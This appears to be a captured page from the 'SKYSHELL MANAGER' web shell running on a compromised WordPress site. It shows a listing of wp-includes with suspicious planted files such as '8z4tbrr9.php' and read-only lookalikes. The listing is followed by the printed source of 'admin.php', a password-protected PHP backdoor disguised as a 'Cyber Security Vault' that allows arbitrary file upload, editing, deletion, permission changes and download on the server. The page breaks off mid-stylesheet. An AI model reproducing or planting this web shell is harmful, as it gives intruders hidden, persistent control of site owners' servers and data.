📁
SKYSHELL MANAGER
PHP v7.4.33
Create
Create
Path:
root
/
home
/
mountain
/
public_html
/
wp-includes
/
Name
Size
Perm
Actions
📁
images
-
0755
🗑️
🏷️
🔒
📁
customize
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
pomo
-
0755
🗑️
🏷️
🔒
📁
sitemaps
-
0755
🗑️
🏷️
🔒
📁
fonts
-
0755
🗑️
🏷️
🔒
📁
sodium_compat
-
0755
🗑️
🏷️
🔒
📁
php-compat
-
0755
🗑️
🏷️
🔒
📁
certificates
-
0755
🗑️
🏷️
🔒
📁
style-engine
-
0755
🗑️
🏷️
🔒
📁
theme-compat
-
0755
🗑️
🏷️
🔒
📁
rest-api
-
0755
🗑️
🏷️
🔒
📁
block-supports
-
0755
🗑️
🏷️
🔒
📁
html-api
-
0755
🗑️
🏷️
🔒
📁
block-patterns
-
0755
🗑️
🏷️
🔒
📁
blocks
-
0755
🗑️
🏷️
🔒
📁
interactivity-api
-
0755
🗑️
🏷️
🔒
📁
Text
-
0755
🗑️
🏷️
🔒
📁
l10n
-
0755
🗑️
🏷️
🔒
📁
ID3
-
0755
🗑️
🏷️
🔒
📁
IXR
-
0755
🗑️
🏷️
🔒
📁
PHPMailer
-
0755
🗑️
🏷️
🔒
📁
Requests
-
0755
🗑️
🏷️
🔒
📁
block-bindings
-
0755
🗑️
🏷️
🔒
📁
SimplePie
-
0755
🗑️
🏷️
🔒
📁
widgets
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📄
functions.wp-scripts.php
14.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
5077.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-atom-comments.php
5.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-atom.php
3.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss.php
1.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
l10n.php
66.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss2-comments.php
4.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
feed-rss2.php
3.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
functions.php
280.92 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
global-styles-and-settings.php
20.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
general-template.php
168.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
fonts.php
9.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
functions.wp-styles.php
8.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kses.php
72.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
formatting.php
334.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error-protection.php
4.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
128.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
embed.php
37.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp.php
25.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json.php
159.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme.php
64.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-url-pattern-prefixer.php
4.69 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-user-query.php
42.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-user-request.php
2.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-user.php
22.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-walker.php
13.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-widget-factory.php
3.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-widget.php
18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-xmlrpc-server.php
210.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wpdb.php
115.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
embed-template.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class.wp-dependencies.php
0.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class.wp-scripts.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class.wp-styles.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment-template.php
100.69 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
55.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
34.31 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
cron.php
41.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
default-constants.php
11.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
default-widgets.php
2.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
deprecated.php
187.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-template.php
154.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-network.php
3.69 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
locale.php
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
template-canvas.php
0.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
rss.php
22.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
script-loader.php
130.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
script-modules.php
7.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
security.php
34.31 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
session.php
0.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
shortcodes.php
23.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
sitemaps.php
3.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
speculative-loading.php
8.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
spl-autoload-compat.php
0.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
taxonomy.php
172.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
template.php
23.59 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots-template.php
5.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-previews.php
2.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-templates.php
6.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme.json
8.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme.php
131.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
36.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user.php
171.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
vars.php
6.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
69.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-db.php
0.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-diff.php
0.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
rss-functions.php
0.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
rewrite.php
19.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-template.php
61.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-site.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media.php
215.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
meta.php
63.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-blogs.php
25.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-default-constants.php
4.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-default-filters.php
6.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-deprecated.php
21.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-functions.php
89.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-load.php
19.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json-resolver.php
34.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-settings.php
4.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
nav-menu-template.php
25.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
revision.php
30.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
nav-menu.php
43.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
option.php
100.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
pluggable-deprecated.php
6.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
pluggable.php
119.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin.php
37.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-template.php
67.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post-thumbnail-template.php
10.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
post.php
284.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
query.php
36.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
registration-functions.php
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
registration.php
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-theme-json-schema.php
7.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-speculation-rules.php
7.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-text-diff-renderer-table.php
18.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-metadata-registry.php
11.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-category.php
8.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-comment.php
13.89 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-nav-menu.php
11.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-page-dropdown.php
2.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-page.php
7.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-admin-bar.php
17.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-ajax-response.php
5.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-application-passwords.php
16.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-bindings-registry.php
8.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-editor-context.php
1.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-list.php
4.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-parser-block.php
2.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-snoopy.php
36.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-parser-frame.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-parser.php
11.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-pattern-categories-registry.php
5.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-patterns-registry.php
10.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-template.php
1.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-templates-registry.php
7.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-type-registry.php
4.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block-type.php
16.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-block.php
22.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-classic-to-block-menu-converter.php
3.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-comment-query.php
47.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-walker-category-dropdown.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-smtp.php
0.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-control.php
25.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
blocks.php
110.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
8z4tbrr9.php
1.11 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
34.31 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
atomlib.php
11.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
author-template.php
18.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
block-bindings.php
5.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
block-editor.php
28.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
block-patterns.php
12.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
block-template-utils.php
60.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
block-template.php
15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
bookmark.php
15.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-simplepie.php
0.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cache-compat.php
5.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
capabilities.php
41.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
category-template.php
55.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
category.php
12.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-IXR.php
2.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-feed.php
0.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-json.php
42.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-oembed.php
0.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-phpass.php
6.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-phpmailer.php
0.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-pop3.php
20.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-requests.php
2.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-comment.php
9.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-manager.php
197.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-text-diff-renderer-inline.php
0.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-key-service.php
4.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-network.php
12.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-object-cache.php
17.11 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-oembed-controller.php
6.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-oembed.php
30.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-paused-extensions-storage.php
4.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-plugin-dependencies.php
24.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-post-type.php
29.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-post.php
6.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-query.php
154.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-cookie-service.php
6.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-email-service.php
10.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-recovery-mode-link-service.php
3.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-navigation-fallback.php
9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-rewrite.php
62.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-role.php
2.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-roles.php
8.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-simplepie-file.php
3.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-simplepie-sanitize-kses.php
1.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-site-query.php
30.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-site.php
7.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-tax-query.php
19.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-taxonomy.php
18.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-term-query.php
39.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-term.php
5.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-network-query.php
19.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-meta-query.php
29.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-panel.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-hook.php
15.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-section.php
10.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-customize-setting.php
29.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-dependencies.php
14.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-dependency.php
2.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-duotone.php
39.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-editor.php
70.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-embed.php
15.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-error.php
7.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-exception.php
0.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-fatal-error-handler.php
7.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-feed-cache.php
0.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-cookie.php
7.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-matchesmapregex.php
1.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-curl.php
12.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-encoding.php
6.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-ixr-client.php
3.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-proxy.php
5.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-requests-hooks.php
1.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http-requests-response.php
4.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-http.php
40.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-image-editor-imagick.php
33.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-image-editor.php
17.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-list-util.php
7.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-locale-switcher.php
6.62 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
class-wp-locale.php
16.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: admin.php
<?php session_start(); // --- Configuration --- $username = "admin"; $password = "cmd"; $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; // Standardize paths and resolve target directory smoothly if (isset($_GET['dir'])) { $resolved_path = realpath($_GET['dir']); $current_dir = $resolved_path ? str_replace('\\', '/', $resolved_path) : str_replace('\\', '/', realpath(__DIR__)); } else { $current_dir = str_replace('\\', '/', realpath(__DIR__)); } $current_dir = rtrim($current_dir, '/'); if (empty($current_dir)) { $current_dir = $is_windows ? substr(realpath(__DIR__), 0, 2) : '/'; } // Generate CSRF token for security if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // --- Authentication --- if (!isset($_SESSION['authenticated'])) { if (isset($_POST['username']) && isset($_POST['password']) && $_POST['username'] === $username && hash_equals($password, $_POST['password'])) { session_regenerate_id(true); $_SESSION['authenticated'] = true; header("Location: ?dir=" . urlencode($current_dir)); exit; } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cyber Security Vault • Sign In</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0f172a; display: flex; justify-content: center; align-items: center; height: 100vh; font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; color: #cbd5e1; } .login-box { background: #1e293b; border: 1px solid #334155; border-radius: 12px; padding: 35px; width: 400px; box-shadow: 0 10px 25px rgba(0, 0, 0, 0.3); } .login-header { text-align: center; margin-bottom: 25px; border-bottom: 1px solid #334155; padding-bottom: 15px; } .login-header h2 { font-size: 1.4rem; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; font-weight: 600; } .input-field { margin-bottom: 20px; position: relative; } .input-field i { position: absolute; left: 14px; top: 14px; color: #64748b; } .input-field input { width: 100%; background: #0f172a; border: 1px solid #334155; border-radius: 8px; color: #f8fafc; padding: 12px 12px 12px 42px; font-size: 0.95rem; outline: none; transition: border-color 0.2s ease; } .input-field input:focus { border-color: #38bdf8; } .submit-btn { background: #0284c7; border: none; color: #ffffff; font-weight: 600; padding: 12px; border-radius: 8px; width: 100%; text-transform: uppercase; cursor: pointer; transition: all 0.2s ease; letter-spacing: 0.5px; } .submit-btn:hover { background: #0369a1; transform: translateY(-1px); } </style> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> </head> <body> <div class="login-box"> <div class="login-header"> <h2><i class="fas fa-shield-halved"></i> Security Vault</h2> </div> <form method="post"> <div class="input-field"> <i class="fas fa-user"></i> <input type="text" name="username" placeholder="Username" required autocomplete="off"> </div> <div class="input-field"> <i class="fas fa-lock"></i> <input type="password" name="password" placeholder="Password" required> </div> <button type="submit" class="submit-btn">Authorize Access</button> </form> </div> </body> </html> <?php exit; } } // Handle Logout if (isset($_GET['logout'])) { session_destroy(); header("Location: ?"); exit; } // --- CSRF Verification Helper --- function verify_csrf() { $token = $_POST['csrf_token'] ?? $_GET['csrf_token'] ?? ''; if (empty($token) || !hash_equals($_SESSION['csrf_token'], $token)) { die("CSRF verification failed."); } } // --- Handle File Operations --- if (isset($_GET['action'])) { verify_csrf(); $target_path = realpath($_GET['file']); if ($target_path && file_exists($target_path)) { if ($_GET['action'] == 'delete') { if (is_dir($target_path)) { @rmdir($target_path); } else { @unlink($target_path); } } elseif ($_GET['action'] == 'download' && is_file($target_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($target_path).'"'); header('Content-Length: ' . filesize($target_path)); readfile($target_path); exit; } elseif ($_GET['action'] == 'unzip' && is_file($target_path)) { $ext = strtolower(pathinfo($target_path, PATHINFO_EXTENSION)); if ($ext === 'zip' && class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_path) === TRUE) { $zip->extractTo(dirname($target_path)); $zip->close(); } } } elseif ($_GET['action'] == 'zip' && is_dir($target_path)) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; $zip_file = $target_path . '.zip'; if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target_path), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($target_path) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); } } } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Create Folder if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) { verify_csrf(); $new_folder = $current_dir . '/' . basename($_POST['folder_name']); if (!file_exists($new_folder)) { @mkdir($new_folder, 0755); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Create Empty File if (isset($_POST['create_file']) && !empty($_POST['file_name'])) { verify_csrf(); $new_file = $current_dir . '/' . basename($_POST['file_name']); if (!file_exists($new_file)) { @touch($new_file); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Rename Item if (isset($_POST['rename_item']) && isset($_POST['file_path']) && !empty($_POST['new_name'])) { verify_csrf(); $target = realpath($_POST['file_path']); if ($target && file_exists($target)) { $new_name = basename($_POST['new_name']); $new_path = dirname($target) . '/' . $new_name; if (!file_exists($new_path)) { @rename($target, $new_path); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Permission Chmod Change if (isset($_POST['change_perms']) && isset($_POST['file_path'])) { verify_csrf(); $target = realpath($_POST['file_path']); if ($target && file_exists($target)) { $octal_mode = $_POST['perms_octal'] ?? ''; if (preg_match('/^[0-7]{3,4}$/', $octal_mode)) { @chmod($target, octdec($octal_mode)); } } header("Location: ?dir=" . urlencode($current_dir)); exit; } // Save Edit if (isset($_POST['save_edit']) && isset($_POST['file_path'])) { verify_csrf(); $edit_target = realpath($_POST['file_path']); if ($edit_target && is_file($edit_target) && is_writable($edit_target)) { file_put_contents($edit_target, $_POST['content']); } header("Location: ?dir=" . urlencode(dirname($edit_target))); exit; } // File Upload if (isset($_FILES['upload_file'])) { verify_csrf(); if ($_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $file_name = basename($_FILES['upload_file']['name']); $upload_path = $current_dir . '/' . $file_name; move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path); } header("Location: ?dir=" . urlencode($current_dir)); exit; } // --- Helper Functions --- function format_size($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function get_file_icon($path) { if (is_dir($path)) return 'fa-folder'; $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $icons = [ 'jpg' => 'fa-image', 'jpeg' => 'fa-image', 'png' => 'fa-image', 'gif' => 'fa-image', 'pdf' => 'fa-file-pdf', 'zip' => 'fa-file-zipper', 'rar' => 'fa-file-zipper', 'mp4' => 'fa-video', 'mp3' => 'fa-music', 'doc' => 'fa-file-word', 'docx' => 'fa-file-word', 'php' => 'fa-code', 'html' => 'fa-code', 'css' => 'fa-code', 'js' => 'fa-code', ]; return $icons[$ext] ?? 'fa-file'; } function get_permissions_octal($path) { $perms = @fileperms($path); if ($perms === false) return '0000'; return substr(sprintf('%o', $perms), -4); } // System Metadata Fetching Engines $php_version = PHP_VERSION; $server_software = isset($_SERVER['SERVER_SOFTWARE']) ? explode('/', explode(' ', $_SERVER['SERVER_SOFTWARE'])[0])[0] : 'Web Server'; $free_disk = @disk_free_space($current_dir) ?: 0; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cyber Security Vault</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0f172a; color: #cbd5e1; font-family: 'Segoe UI', system-ui, -apple-system, sans-serif; font-size: 0.95rem; min-height: 100vh; } .container { max-width: 1350px; margin: 0 auto; padding: 2rem; } /* Modern Clean Header */ .vault-header { display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid #1e293b; padding-bottom: 1.5rem; margin-bottom: 2rem; } .vault-title { font-size: 1.8rem; font-weight: 700; color: #38bdf8; text-transform: uppercase; letter-spacing: 1.5px; display: flex; align-items: center; gap: 0.8rem; text-shadow: 0 0 15px rgba(56, 189, 248, 0.3); } .vault-title i { color: #0ea5e9; } /* Redesigned Dashboard Bar */ .topbar { background: #1e293b; border: 1px solid #334155; padding: 1rem 1.5rem; display: flex; justify-content: space-between; align-items: center; border-radius: 10px; margin-bottom: 1.5rem; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); } .path-section { display: flex; align-items: center; gap: 0.8rem; overflow: hidden; } .path-label { font-size: 0.8rem; text-transform: uppercase; color: #64748b; font-weight: 700; white-space: 